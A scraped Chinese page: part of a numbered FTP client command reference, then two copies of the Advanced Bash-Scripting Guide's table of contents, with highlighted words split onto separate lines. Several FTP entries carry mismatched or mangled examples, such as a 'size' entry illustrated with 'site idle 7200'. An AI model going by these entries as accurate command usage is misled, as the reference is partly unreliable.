传输方式。 8.bye:退出ftp会话过程。 9.case:在
使用
mget时,将远程主机
文件
名
中
的大
写
转为小
写
字母。 10. cd remote-dir:进入远程主机目录。 11.cdup:进入远程主机目录的父目录。 12.chmod mode file-name:将远程主机
文件
file-name的存取方式设置为mode,如:chmod 777 a.out。 13.close:
中
断与远程服务器的ftp会话(与open对应)。 14 .cr:
使用
asscii方式传输
文件
时,将回车换行转换为回行。 15.delete remote-file:删除远程主机
文件
。 16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条
命令
,如:deb up 3,若设为0,表示取消debug。 17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地
文件
。 18.disconnection:同close。 19.form format:将
文件
传输方式设置为format,缺省为file方式。 20.get remote-file[local-file]:将远程主机的
文件
remote-file传至本地硬盘的local-file。 21.glob:设置mdelete,mget,mput的
文件
名扩展,缺省时不扩展
文件
名,同
命令
行的-g参数。 22.hash:每传输1024字节,显示一个hash符号(#)。 23.help[cmd]:显示ftp内部
命令
cmd的帮助信息,如:help get。 24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地
文件
local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机
文件
。 30.mdir remote-files local-file:与dir类似,但可指定多个远程
文件
,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程
文件
。 32.mkdir dir-name:在远程主机
中
建一目录。 33.mls remote-file local-file:同nlist,但可指定多个
文件
名。 34.mode[modename]:将
文件
传输方式设置为modename, 缺省为stream方式。 modtime file-name:显示远程主机
文件
的最后修改时间。 mput local-file:将多个
文件
传输至远程主机。 newer file-name:如果远程机
中
file-name的修改时间比本地硬盘同名
文件
的时间更近,则重传该
文件
。 38.nlist[remote-dir][local-file]:显示远程主机目录的
文件
清单,并存入本地硬盘的local-file。 39.nmap[inpattern outpattern]:设置
文件
名映射机制, 使得
文件
传输时,
文件
中
的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输
文件
a1.a2.a3时,
文件
名变为a1,a2。该
命令
特别适用于远程主机为非UNIX机的情况。 40.ntrans[inchars[outchars]]:设置
文件
名字符的翻译机制,如ntrans1R,则
文件
名LLL将变为RRR。 41.open host[port]:建立指定ftp服务器连接,可指定连接端口。 42.passive:进入被动传输方式。 43.prompt:设置多个
文件
传输时的交互提示。 44.proxy ftp-cmd:在次要控制连接
中
,执行一条ftp
命令
, 该
命令
允许连接两个ftp服务器,以在两个服务器间传输
文件
。第一条ftp
命令
必须为open,以首先建立两个服务器间的连接。 45.put local-file[remote-file]:将本地
文件
local-file传送至远程主机。 46.pwd:显示远程主机的当前工作目录。 47.quit:同bye,退出ftp会话。 48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst. 49.recv remote-file[local-file]:同get。 50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输
中
断处续传。 51.rhelp[cmd-name]:请求获得远程主机的帮助。 52.rstatus[file-name]:若未指定
文件
名,则显示远程主机的状态, 否则显示
文件
状态。 53.rename[from][to]:更改远程主机
文件
名。 54.reset:清除回答队列。 55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。 56.rmdir dir-name:删除远程主机目录。 57.runique:设置
文件
名只一性存储,若
文件
存在,则在原
文件
后加后缀.1, .2等。 58.send local-file[remote-file]:同put。 59.sendport:设置PORT
命令
的
使用
。 60.site arg1,arg2...:将参数作为SITE
命令
逐字发送至远程ftp主机。 61.size file-name:显示远程主机
文件
大小,如:site idle 7200。 62.status:显示当前ftp状态。 63.struct[struct-name]:将
文件
传输结构设置为struct-name, 缺省时
使用
stream结构。 64.sunique:将远程主机
文件
名存储设置为只一(与runique对应)。 65.system:显示远程主机的操作系统类型。 66.tenex:将
文件
传输类型设置为TENEX机的所需的类型。 67.tick:设置传输时的字节计数器。 68.trace:设置包跟踪。 69.type[type-name]:设置
文件
传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。 70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3 71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。 72.verbose:同
命令
行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on. 73.?[cmd]:同help.
Linux高级bash编程
高级bash编程 高级Bash脚本编程指南(一) 目录 ++++ 第一部分. 热身 1. 为什么
使用
shell编程 2. 带着一个Sha-Bang出发(Sha-Bang指的是#!) 2.1. 调用一个脚本 2.2. 初步的练习 第二部分. 基本 3. 特殊字符 4. 变量和参数的介绍 4.1. 变量替换 4.2. 变量赋值 4.3. Bash变量是不分类型的 4.4. 特殊的变量类型 5. 引用(翻译的可能有问题,特指引号) 5.1. 引用变量 5.2. 转义(\) 6. 退出和退出状态 7.
Test
s 7.1.
Test
结构 7.2.
文件
测试操作 7.3. 其他比较操作 7.4. 嵌套的if/then条件
test
7.5. 检查你的
test
知识 8. 操作符和相关的主题 8.1. 操作符 8.2. 数字常量 第三部分. 超越基本 9. 变量重游 9.1. 内部变量 9.2. 操作字符串 9.3. 参数替换 9.4. 指定类型的变量:declare或者typeset 9.5. 变量的间接引用 9.6. $RANDOM: 产生随机整数 9.7. 双圆括号结构 10. 循环和分支 10.1. 循环 10.2. 嵌套循环 10.3. 循环控制 10.4. 测试与分支(case和select结构) 11. 内部
命令
与内建 11.1. 作业控制
命令
12. 外部过滤器,程序和
命令
12.1. 基本
命令
12.2. 复杂
命令
12.3. 时间/日期
命令
12.4. 文本处理
命令
12.5.
文件
与归档
命令
12.6. 通讯
命令
12.7. 终端控制
命令
12.8. 数学计算
命令
12.9. 混杂
命令
13. 系统与管理
命令
13.1. 分析一个系统脚本 14.
命令
替换 15. 算术扩展 16. I/O 重定向 16.1.
使用
exec 16.2. 代码块的重定向 16.3. 应用 17. Here Documents 17.1. Here Strings 18. 休息时间 Part 4. 高级 19. 正则表达式 19.1. 一个简要的正则表达式介绍 19.2. 通配 20. 子shell(Subshells) 21. 受限shell(Restricted Shells) 22. 进程替换 23. 函数 23.1. 复杂函数和函数复杂性 23.2. 局部变量 23.3. 不
使用
局部变量的递归 24. 别名(Aliases) 25. 列表结构 26. 数组 27. /dev 和 /proc 27.1. /dev 27.2. /proc 28. 关于Zeros和Nulls 29. 调试 30. 选项 31. Gotchas 32. 脚本编程风格 32.1. 非官方的Shell脚本风格 33. 杂项 33.1. 交互式和非交互式的shells和脚本 33.2. Shell 包装 33.3. 测试和比较: 另一种方法 33.4. 递归 33.5. 彩色脚本 33.6. 优化 33.7. 各种小技巧 33.8. 安全话题 33.8.1. 被感染的脚本 33.8.2. 隐藏Shell脚本源码 33.9. 移植话题 33.10. 在Windows下进行Shell编程 34. Bash, 版本 2 和 3 34.1. Bash, 版本2 34.2. Bash, 版本3 35. 后记 35.1. 作者后记 35.2. 关于作者 35.3. 哪里可以取得帮助? 35.4. 制作这本书的工具 35.4.1. 硬件 35.4.2. 软件和排版软件 35.5. Credits Bibliography A. Contributed Scripts B. Reference Cards C. A Sed and Awk Micro-Primer C.1. Sed C.2. Awk D. Exit Codes With Special Meanings E. A Detailed Introduction to I/O and I/O Redirection F. Standard Command-Line Options G. Important Files H. Important System Directories I. Localization J. History Commands K. A Sample .bashrc File L. Converting
DOS
Batch Files to Shell Scripts M. Exercises M.1. Analyzing Scripts M.2. Writing Scripts N. Revision History O. Mirror Sites P. To Do List Q. Copyright 表格清单: 11-1. 作业标识符 30-1. Bash 选项 33-1. 转义序列
中
数值和彩色的对应 B-1. Special Shell Variables B-2.
TEST
Operators: Binary Comparison B-3.
TEST
Operators: Files B-4. Parameter Substitution and Expansion B-5. String Operations B-6. Miscellaneous Constructs C-1. Basic sed operators C-2. Examples of sed operators D-1. "Reserved" Exit Codes L-1. Batch file keywords / variables / operators, and their shell equivalents L-2.
DOS
commands and their UNIX equivalents N-1. Revision History 例子清单: 2-1. 清除:清除/var/log下的log
文件
2-2. 清除:一个改良的清除脚本 2-3. cleanup:一个增强的和广义的删除logfile的脚本 3-1. 代码块和I/O重定向 3-2. 将一个代码块的结果保存到
文件
3-3. 在后台运行一个循环 3-4. 备份最后一天所有修改的
文件
. 4-1. 变量赋值和替换 4-2. 一般的变量赋值 4-3. 变量赋值,一般的和比较特殊的 4-4. 整型还是string? 4-5. 位置参数 4-6. wh,whois节点名字查询 4-7.
使用
shift 5-1. echo一些诡异的变量 5-2. 转义符 6-1. exit/exit状态 6-2. 否定一个条件
使用
! 7-1. 什么情况下为真? 7-2. 几个等效
命令
test
,/usr/bin/
test
,[],和/usr/bin/[ 7-3. 算数测试
使用
(( )) 7-4.
test
死的链接
文件
7-5. 数字和字符串比较 7-6. 测试字符串是否为null 7-7. zmore 8-1. 最大公约数 8-2.
使用
算术操作符 8-3.
使用
&&和||进行混合状态的
test
8-4. 数字常量的处理 9-1. $IFS和空白 9-2. 时间输入 9-3. 再来一个时间输入 9-4. Timed read 9-5. 我是root? 9-6. arglist:通过$*和$@列出所有的参数 9-7. 不一致的$*和$@行为 9-8. 当$IFS为空时的$*和$@ 9-9. 下划线变量 9-10. 在一个文本
文件
的段间插入空行 9-11. 利用修改
文件
名,来转换图片格式 9-12. 模仿getopt
命令
9-13. 提取字符串的一种可选的方法 9-14.
使用
参数替换和error messages 9-15. 参数替换和"usage"messages 9-16. 变量长度 9-17. 参数替换
中
的模式匹配 9-18. 重命名
文件
扩展名 9-19.
使用
模式匹配来分析比较特殊的字符串 9-20. 对字符串的前缀或后缀
使用
匹配模式 9-21.
使用
declare来指定变量的类型 9-22. 间接引用 9-23. 传递一个间接引用给awk 9-24. 产生随机数 9-25. 从一副扑克牌
中
取出一张随机的牌 9-26. 两个指定值之间的随机数 9-27.
使用
随机数来摇一个骰子 9-28. 重新分配随机数种子 9-29.
使用
awk产生伪随机数 9-30. C风格的变量处理 10-1. 循环的一个简单例子 10-2. 每个[list]元素带两个参数的for循环 10-3.
文件
信息:对包含在变量
中
的
文件
列表进行操作 10-4. 在for循环
中
操作
文件
10-5. 在for循环
中
省略[list] 10-6.
使用
命令
替换来产生for循环的[list] 10-7. 对于二进制
文件
的一个grep替换 10-8. 列出系统上的所有用户 10-9. 在目录的所有
文件
中
查找源字串 10-10. 列出目录
中
所有的符号连接
文件
10-11. 将目录
中
的符号连接
文件
名保存到一个
文件
中
10-12. 一个C风格的for循环 10-13. 在batch mode
中
使用
efax 10-14. 简单的while循环 10-15. 另一个while循环 10-16. 多条件的while循环 10-17. C风格的while循环 10-18. until循环 10-19. 嵌套循环 10-20. break和continue
命令
在循环
中
的效果 10-21. 多层循环的退出 10-22. 多层循环的continue 10-23. 在实际的任务
中
使用
"continue N" 10-24.
使用
case 10-25.
使用
case来创建菜单 10-26.
使用
命令
替换来产生case变量 10-27. 简单字符串匹配 10-28. 检查是否是字母输入 10-29. 用select来创建菜单 10-30. 用函数
中
select结构来创建菜单 11-1. 一个fork出多个自己实例的脚本 11-2. printf 11-3.
使用
read,变量分配 11-4. 当
使用
一个不带变量参数的read
命令
时,将会发生什么? 11-5. read
命令
的多行输入 11-6. 检测方向键 11-7. 通过
文件
重定向来
使用
read 11-8.
管道
输出
到read
中
的问题 11-9. 修改当前的工作目录 11-10. 用"let"
命令
来作算术操作. 11-11. 显示eval
命令
的效果 11-12. 强制登出(log-off) 11-13. 另一个"rot13"的版本 11-14. 在Perl脚本
中
使用
eval
命令
来强制变量替换 11-15.
使用
set来改变脚本的位置参数 11-16. 重新分配位置参数 11-17. Unset一个变量 11-18.
使用
export
命令
传递一个变量到一个内嵌awk的脚本
中
11-19.
使用
getopts
命令
来读取传递给脚本的选项/参数. 11-20. "Including"一个数据
文件
11-21. 一个没什么用的,source自身的脚本 11-22. exec的效果 11-23. 一个exec自身的脚本 11-24. 在继续处理之前,等待一个进程的结束 11-25. 一个结束自身的脚本. 12-1.
使用
ls
命令
来创建一个烧录CDR的内容列表 12-2. Hello or Good-bye 12-3. 删除当前目录下
文件
名
中
包含一些特殊字符(包括空白)的
文件
.. 12-4. 通过
文件
的 inode 号来删除
文件
12-5. Logfile:
使用
xargs 来监控系统 log 12-6. 把当前目录下的
文件
拷贝到另一个
文件
中
12-7. 通过名字Kill进程 12-8.
使用
xargs分析单词出现的频率 12-9.
使用
expr 12-10.
使用
date
命令
12-11. 分析单词出现的频率 12-12. 那个
文件
是脚本? 12-13. 产生10进制随机数 12-14.
使用
tail
命令
来监控系统log 12-15. 在一个脚本
中
模仿 "grep" 的行为 12-16. 在1913年的韦氏词典
中
查找定义 12-17. 检查列表
中
单词的正确性 12-18. 转换大
写
: 把一个
文件
的内容全部转换为大
写
. 12-19. 转换小
写
: 将当前目录下的所有文全部转换为小
写
. 12-20. Du:
DOS
到 UNIX 文本
文件
的转换. 12-21. rot13: rot13, 弱智加密. 12-22. Generating "Crypto-Quote" Puzzles 12-23. 格式化
文件
列表. 12-24.
使用
column 来格式化目录列表 12-25. nl: 一个自己计算行号的脚本. 12-26. manview: 查看格式化的man页 12-27.
使用
cpio 来拷贝一个目录树 12-28. 解包一个 rpm 归档
文件
12-29. 从 C
文件
中
去掉注释 12-30. Exploring /usr/X11R6/bin 12-31. 一个"改进过"的 strings
命令
12-32. 在一个脚本
中
使用
cmp 来比较2个
文件
. 12-33. basename 和 dirname 12-34. 检查
文件
完整性 12-35. Uudecod 编码后的
文件
12-36. 查找滥用的连接来报告垃圾邮件发送者 12-37. 分析一个垃圾邮件域 12-38. 获得一份股票报价 12-39. 更新 Fedora Core 4 12-40.
使用
ssh 12-41. 一个可以mail自己的脚本 12-42. 按月偿还贷款 12-43. 数制转换 12-44.
使用
"here document" 来调用 bc 12-45. 计算圆周率 12-46. 将10进制数字转换为16进制数字 12-47. 因子分解 12-48. 计算直角三角形的斜边 12-49.
使用
seq 来产生循环参数 12-50. 字母统计 12-51.
使用
getopt来分析
命令
行选项 12-52. 一个拷贝自身的脚本 12-53. 练习dd 12-54. 记录按键 12-55. 安全的删除一个
文件
12-56.
文件
名产生器 12-57. 将米转换为英里 12-58.
使用
m4 13-1. 设置一个新密码 13-2. 设置一个擦除字符 13-3. 关掉终端对于密码的echo 13-4. 按键检测 13-5. Checking a remote server for identd 13-6. pidof 帮助杀掉一个进程 13-7. 检查一个CD镜像 13-8. 在一个
文件
中
创建
文件
系统 13-9. 添加一个新的硬盘驱动器 13-10.
使用
umask来将
输出
文件
隐藏起来 13-11. killall, 来自于 /etc/rc.d/init.d 14-1. 愚蠢的脚本策略 14-2. 从循环的
输出
中
产生一个变量 14-3. 找anagram(回文构词法, 可以将一个有意义的单词, 变换为1个或多个有意义的单词, 但是还是原来的子母集合) 16-1.
使用
exec重定向标准输入 16-2.
使用
exec来重定向stdout 16-3.
使用
exec在同一脚本
中
重定向stdin和stdout 16-4. 避免子shell 16-5. while循环的重定向 16-6. 另一种while循环的重定向 16-7. until循环重定向 16-8. for循环重定向 16-9. for循环重定向 loop (将标准输入和标准
输出
都重定向了) 16-10. 重定向if/then测试结构 16-11. 用于上面例子的"names.data"数据
文件
16-12. 记录日志事件 17-1. 广播: 发送消息给每个登录上的用户 17-2. 仿造
文件
: 创建一个两行的仿造
文件
17-3.
使用
cat的多行消息 17-4. 带有抑制tab功能的多行消息 17-5.
使用
参数替换的here document 17-6. 上传一个
文件
对到"Sunsite"的incoming目录 17-7. 关闭参数替换 17-8. 一个产生另外一个脚本的脚本 17-9. Here documents与函数 17-10. "匿名" here Document 17-11. 注释掉一段代码块 17-12. 一个自文档化(self-documenting)的脚本 17-13. 在一个
文件
的开头添加文本 20-1. 子shell
中
的变量作用域 20-2. 列出用户的配置
文件
20-3. 在子shell里进行串行处理 21-1. 在受限的情况下运行脚本 23-1. 简单函数 23-2. 带着参数的函数 23-3. 函数和被传给脚本的
命令
行参数 23-4. 传递间接引用给函数 23-5. 解除传递给函数的参数引用 23-6. 再次尝试解除传递给函数的参数引用 23-7. 两个数
中
的最大者 23-8. 把数字转化成罗马数字 23-9. 测试函数最大的返回值 23-10. 比较两个大整数 23-11. 用户名的真实名 23-12. 局部变量的可见范围 23-13. 用局部变量来递归 23-14. 汉诺塔 24-1. 脚本
中
的别名 24-2. unalias: 设置和删除别名 25-1.
使用
"与列表(and list)"来测试
命令
行参数 25-2. 用"与列表"的另一个
命令
行参数测试 25-3. "或列表"和"与列表"的结合
使用
26-1. 简单的数组用法 26-2. 格式化一首诗 26-3. 多种数组操作 26-4. 用于数组的字符串操作符 26-5. 将脚本的内容传给数组 26-6. 一些数组专用的工具 26-7. 关于空数组和空数组元素 26-8. 初始化数组 26-9. 复制和连接数组 26-10. 关于连接数组的更多信息 26-11. 一位老朋友: 冒泡排序 26-12. 内嵌数组和间接引用 26-13. 复杂数组应用: 埃拉托色尼素数筛子 26-14. 模拟下推的堆栈 26-15. 复杂的数组应用: 列出一种怪异的数学序列 26-16. 模拟二维数组,并使它倾斜 27-1. 利用/dev/tcp 来检修故障 27-2. 搜索与一个PID相关的进程 27-3. 网络连接状态 28-1. 隐藏cookie而不再
使用
28-2. 用/dev/zero创建一个交换临时
文件
28-3. 创建ramdisk 29-1. 一个错误的脚本 29-2. 丢失关键字(keyword) 29-3. 另一个错误脚本 29-4. 用"assert"测试条件 29-5. 捕捉 exit 29-6. 在Control-C后清除垃圾 29-7. 跟踪变量 29-8. 运行多进程 (在多处理器的机器里) 31-1. 数字和字符串比较是不相等同的 31-2. 子SHELL缺陷 31-3. 把echo的
输出
用
管道
输送给read
命令
33-1. shell 包装 33-2. 稍微复杂一些的shell包装 33-3.
写
到
日志
文件
的shell包装 33-4. 包装awk的脚本 33-5. 另一个包装awk的脚本 33-6. 把Perl嵌入Bash脚本 33-7. Bash 和 Perl 脚本联合
使用
33-8. 递归调用自己本身的(无用)脚本 33-9. 递归调用自己本身的(有用)脚本 33-10. 另一个递归调用自己本身的(有用)脚本 33-11. 一个 "彩色的" 地址资料库 33-12. 画盒子 33-13. 显示彩色文本 33-14. "赛马" 游戏 33-15. 返回值技巧 33-16. 整型还是string? 33-17. 传递和返回数组 33-18. anagrams游戏 33-19. 在shell脚本
中
调用的窗口部件 34-1. 字符串扩展 34-2. 间接变量引用 - 新方法 34-3.
使用
间接变量引用的简单数据库应用 34-4. 用数组和其他的小技巧来处理四人随机打牌 A-1. mailformat: Formatting an e-mail message A-2. rn: A simple-minded file rename utility A-3. blank-rename: renames filenames containing blanks A-4. encryptedpw: Uploading to an ftp site, using a locally encrypted password A-5. copy-cd: Copying a data CD A-6. Collatz series A-7. days-between: Calculate number of days between two dates A-8. Make a "dictionary" A-9. Soundex conversion A-10. "Game of Life" A-11. Data file for "Game of Life" A-12. behead: Removing mail and news message headers A-13. ftpget: Downloading files via ftp A-14. password: Generating random 8-character passwords A-15. fifo: Making daily backups, using named pipes A-16. Generating prime numbers using the modulo operator A-17.
tree
: Displaying a directory
tree
A-18. string functions: C-like string functions A-19. Directory information A-20. Object-oriented database A-21. Library of hash functions A-22. Colorizing text using hash functions A-23. Mounting USB keychain storage devices A-24. Preserving weblogs A-25. Protecting literal strings A-26. Unprotecting literal strings A-27. Spammer Identification A-28. Spammer Hunt A-29. Making wget easier to use A-30. A "podcasting" script A-31. Basics Reviewed A-32. An expanded cd command C-1. Counting Letter Occurrences K-1. Sample .bashrc file L-1. VIEWDATA.BAT:
DOS
Batch File L-2. viewdata.sh: Shell Script Conversion of VIEWDATA.BAT P-1. Print the server environment
Advanced Bash-Scripting Guide <>
目录 ++++ 第一部分. 热身 1. 为什么
使用
shell 编程 2. 带着一个Sha-Bang 出发(Sha-Bang 指的是#!) 2.1. 调用一个脚本 2.2. 初步的练习 第二部分. 基本 3. 特殊字符 4. 变量和参数的介绍 4.1. 变量替换 4.2. 变量赋值 4.3. Bash 变量是不分类型的 4.4. 特殊的变量类型 5. 引用(翻译的可能有问题,特指引号) 5.1. 引用变量 5.2. 转义(\) 6. 退出和退出状态 7.
Test
s 7.1.
Test
结构 7.2.
文件
测试操作 7.3. 其他比较操作 7.4. 嵌套的if/then 条件
test
7.5. 检查你的
test
知识 8. 操作符和相关的主题 8.1. 操作符 8.2. 数字常量 第三部分. 超越基本 9. 变量重游 9.1. 内部变量 9.2. 操作字符串 9.3. 参数替换 9.4. 指定类型的变量:declare 或者typeset 9.5. 变量的间接引用 9.6. $RANDOM: 产生随机整数 9.7. 双圆括号结构 10. 循环和分支 10.1. 循环 10.2. 嵌套循环 10.3. 循环控制 10.4. 测试与分支(case 和select 结构) 11. 内部
命令
与内建 11.1. 作业控制
命令
12. 外部过滤器,程序和
命令
12.1. 基本
命令
12.2. 复杂
命令
12.3. 时间/日期
命令
12.4. 文本处理
命令
12.5.
文件
与归档
命令
12.6. 通讯
命令
12.7. 终端控制
命令
12.8. 数学计算
命令
12.9. 混杂
命令
13. 系统与管理
命令
13.1. 分析一个系统脚本 14.
命令
替换 15. 算术扩展 16. I/O 重定向 16.1.
使用
exec 16.2. 代码块的重定向 16.3. 应用 17. Here Documents 17.1. Here Strings 18. 休息时间 Part 4. 高级 19. 正则表达式 19.1. 一个简要的正则表达式介绍 19.2. 通配 20. 子shell(Subshells) 21. 受限shell(Restricted Shells) 22. 进程替换 23. 函数 23.1. 复杂函数和函数复杂性 23.2. 局部变量 23.3. 不
使用
局部变量的递归 24. 别名(Aliases) 25. 列表结构 26. 数组 27. /dev 和 /proc 27.1. /dev 27.2. /proc 28. 关于Zeros 和Nulls 29. 调试 30. 选项 31. Gotchas 32. 脚本编程风格 32.1. 非官方的Shell 脚本风格 33. 杂项 33.1. 交互式和非交互式的shells 和脚本 33.2. Shell 包装 33.3. 测试和比较: 另一种方法 33.4. 递归 33.5. 彩色脚本 33.6. 优化 33.7. 各种小技巧 33.8. 安全话题 33.8.1. 被感染的脚本 33.8.2. 隐藏Shell 脚本源码 33.9. 移植话题 33.10. 在Windows 下进行Shell 编程 34. Bash, 版本 2 和 3 34.1. Bash, 版本2 34.2. Bash, 版本3 35. 后记 35.1. 作者后记 35.2. 关于作者 35.3. 哪里可以取得帮助? 35.4. 制作这本书的工具 35.4.1. 硬件 35.4.2. 软件和排版软件 35.5. Credits Bibliography A. Contributed Scripts B. Reference Cards C. A Sed and Awk Micro-Primer C.1. Sed C.2. Awk D. Exit Codes With Special Meanings E. A Detailed Introduction to I/O and I/O Redirection F. Standard Command-Line Options G. Important Files H. Important System Directories I. Localization J. History Commands K. A Sample .bashrc File L. Converting
DOS
Batch Files to Shell Scripts M. Exercises M.1. Analyzing Scripts M.2. Writing Scripts N. Revision History O. Mirror Sites P. To Do List Q. Copyright 表格清单: 11-1. 作业标识符 30-1. Bash 选项 33-1. 转义序列
中
数值和彩色的对应 B-1. Special Shell Variables B-2.
TEST
Operators: Binary Comparison B-3.
TEST
Operators: Files B-4. Parameter Substitution and Expansion B-5. String Operations B-6. Miscellaneous Constructs C-1. Basic sed operators C-2. Examples of sed operators D-1. "Reserved" Exit Codes L-1. Batch file keywords / variables / operators, and their shell equivalents L-2.
DOS
commands and their UNIX equivalents N-1. Revision History 例子清单: 2-1. 清除:清除/var/log 下的log
文件
2-2. 清除:一个改良的清除脚本 2-3. cleanup:一个增强的和广义的删除logfile 的脚本 3-1. 代码块和I/O 重定向 3-2. 将一个代码块的结果保存到
文件
3-3. 在后台运行一个循环 3-4. 备份最后一天所有修改的
文件
. 4-1. 变量赋值和替换 4-2. 一般的变量赋值 4-3. 变量赋值,一般的和比较特殊的 4-4. 整型还是string? 4-5. 位置参数 4-6. wh,whois 节点名字查询 4-7.
使用
shift 5-1. echo 一些诡异的变量 5-2. 转义符 6-1. exit/exit 状态 6-2. 否定一个条件
使用
! 7-1. 什么情况下为真? 7-2. 几个等效
命令
test
,/usr/bin/
test
,[],和/usr/bin/[ 7-3. 算数测试
使用
(( )) 7-4.
test
死的链接
文件
7-5. 数字和字符串比较 7-6. 测试字符串是否为null 7-7. zmore 8-1. 最大公约数 8-2.
使用
算术操作符 8-3.
使用
&&和||进行混合状态的
test
8-4. 数字常量的处理 9-1. $IFS 和空白 9-2. 时间输入 9-3. 再来一个时间输入 9-4. Timed read 9-5. 我是root? 9-6. arglist:通过$*和$@列出所有的参数 9-7. 不一致的$*和$@行为 9-8. 当$IFS 为空时的$*和$@ 9-9. 下划线变量 9-10. 在一个文本
文件
的段间插入空行 9-11. 利用修改
文件
名,来转换图片格式 9-12. 模仿getopt
命令
9-13. 提取字符串的一种可选的方法 9-14.
使用
参数替换和error messages 9-15. 参数替换和"usage"messages 9-16. 变量长度 9-17. 参数替换
中
的模式匹配 9-18. 重命名
文件
扩展名 9-19.
使用
模式匹配来分析比较特殊的字符串 9-20. 对字符串的前缀或后缀
使用
匹配模式 9-21.
使用
declare 来指定变量的类型 9-22. 间接引用 9-23. 传递一个间接引用给awk 9-24. 产生随机数 9-25. 从一副扑克牌
中
取出一张随机的牌 9-26. 两个指定值之间的随机数 9-27.
使用
随机数来摇一个骰子 9-28. 重新分配随机数种子 9-29.
使用
awk 产生伪随机数 9-30. C 风格的变量处理 10-1. 循环的一个简单例子 10-2. 每个[list]元素带两个参数的for 循环 10-3.
文件
信息:对包含在变量
中
的
文件
列表进行操作 10-4. 在for 循环
中
操作
文件
10-5. 在for 循环
中
省略[list] 10-6.
使用
命令
替换来产生for 循环的[list] 10-7. 对于二进制
文件
的一个grep 替换 10-8. 列出系统上的所有用户 10-9. 在目录的所有
文件
中
查找源字串 10-10. 列出目录
中
所有的符号连接
文件
10-11. 将目录
中
的符号连接
文件
名保存到一个
文件
中
10-12. 一个C 风格的for 循环 10-13. 在batch mode
中
使用
efax 10-14. 简单的while 循环 10-15. 另一个while 循环 10-16. 多条件的while 循环 10-17. C 风格的while 循环 10-18. until 循环 10-19. 嵌套循环 10-20. break 和continue
命令
在循环
中
的效果 10-21. 多层循环的退出 10-22. 多层循环的continue 10-23. 在实际的任务
中
使用
"continue N" 10-24.
使用
case 10-25.
使用
case 来创建菜单 10-26.
使用
命令
替换来产生case 变量 10-27. 简单字符串匹配 10-28. 检查是否是字母输入 10-29. 用select 来创建菜单 10-30. 用函数
中
select 结构来创建菜单 11-1. 一个fork 出多个自己实例的脚本 11-2. printf 11-3.
使用
read,变量分配 11-4. 当
使用
一个不带变量参数的read
命令
时,将会发生什么? 11-5. read
命令
的多行输入 11-6. 检测方向键 11-7. 通过
文件
重定向来
使用
read 11-8.
管道
输出
到read
中
的问题 11-9. 修改当前的工作目录 11-10. 用"let"
命令
来作算术操作. 11-11. 显示eval
命令
的效果 11-12. 强制登出(log-off) 11-13. 另一个"rot13"的版本 11-14. 在Perl 脚本
中
使用
eval
命令
来强制变量替换 11-15.
使用
set 来改变脚本的位置参数 11-16. 重新分配位置参数 11-17. Unset 一个变量 11-18.
使用
export
命令
传递一个变量到一个内嵌awk 的脚本
中
11-19.
使用
getopts
命令
来读取传递给脚本的选项/参数. 11-20. "Including"一个数据
文件
11-21. 一个没什么用的,source 自身的脚本 11-22. exec 的效果 11-23. 一个exec 自身的脚本 11-24. 在继续处理之前,等待一个进程的结束 11-25. 一个结束自身的脚本. 12-1.
使用
ls
命令
来创建一个烧录CDR 的内容列表 12-2. Hello or Good-bye 12-3. 删除当前目录下
文件
名
中
包含一些特殊字符(包括空白)的
文件
.. 12-4. 通过
文件
的 inode 号来删除
文件
12-5. Logfile:
使用
xargs 来监控系统 log 12-6. 把当前目录下的
文件
拷贝到另一个
文件
中
12-7. 通过名字Kill 进程 12-8.
使用
xargs 分析单词出现的频率 12-9.
使用
expr 12-10.
使用
date
命令
12-11. 分析单词出现的频率 12-12. 那个
文件
是脚本? 12-13. 产生10 进制随机数 12-14.
使用
tail
命令
来监控系统log 12-15. 在一个脚本
中
模仿 "grep" 的行为 12-16. 在1913 年的韦氏词典
中
查找定义 12-17. 检查列表
中
单词的正确性 12-18. 转换大
写
: 把一个
文件
的内容全部转换为大
写
. 12-19. 转换小
写
: 将当前目录下的所有文全部转换为小
写
. 12-20. Du:
DOS
到 UNIX 文本
文件
的转换. 12-21. rot13: rot13, 弱智加密. 12-22. Generating "Crypto-Quote" Puzzles 12-23. 格式化
文件
列表. 12-24.
使用
column 来格式化目录列表 12-25. nl: 一个自己计算行号的脚本. 12-26. manview: 查看格式化的man 页 12-27.
使用
cpio 来拷贝一个目录树 12-28. 解包一个 rpm 归档
文件
12-29. 从 C
文件
中
去掉注释 12-30. Exploring /usr/X11R6/bin 12-31. 一个"改进过"的 strings
命令
12-32. 在一个脚本
中
使用
cmp 来比较2 个
文件
. 12-33. basename 和 dirname 12-34. 检查
文件
完整性 12-35. Uudecod 编码后的
文件
12-36. 查找滥用的连接来报告垃圾邮件发送者 12-37. 分析一个垃圾邮件域 12-38. 获得一份股票报价 12-39. 更新 Fedora Core 4 12-40.
使用
ssh 12-41. 一个可以mail 自己的脚本 12-42. 按月偿还贷款 12-43. 数制转换 12-44.
使用
"here document" 来调用 bc 12-45. 计算圆周率 12-46. 将10 进制数字转换为16 进制数字 12-47. 因子分解 12-48. 计算直角三角形的斜边 12-49.
使用
seq 来产生循环参数 12-50. 字母统计 12-51.
使用
getopt 来分析
命令
行选项 12-52. 一个拷贝自身的脚本 12-53. 练习dd 12-54. 记录按键 12-55. 安全的删除一个
文件
12-56.
文件
名产生器 12-57. 将米转换为英里 12-58.
使用
m4 13-1. 设置一个新密码 13-2. 设置一个擦除字符 13-3. 关掉终端对于密码的echo 13-4. 按键检测 13-5. Checking a remote server for identd 13-6. pidof 帮助杀掉一个进程 13-7. 检查一个CD 镜像 13-8. 在一个
文件
中
创建
文件
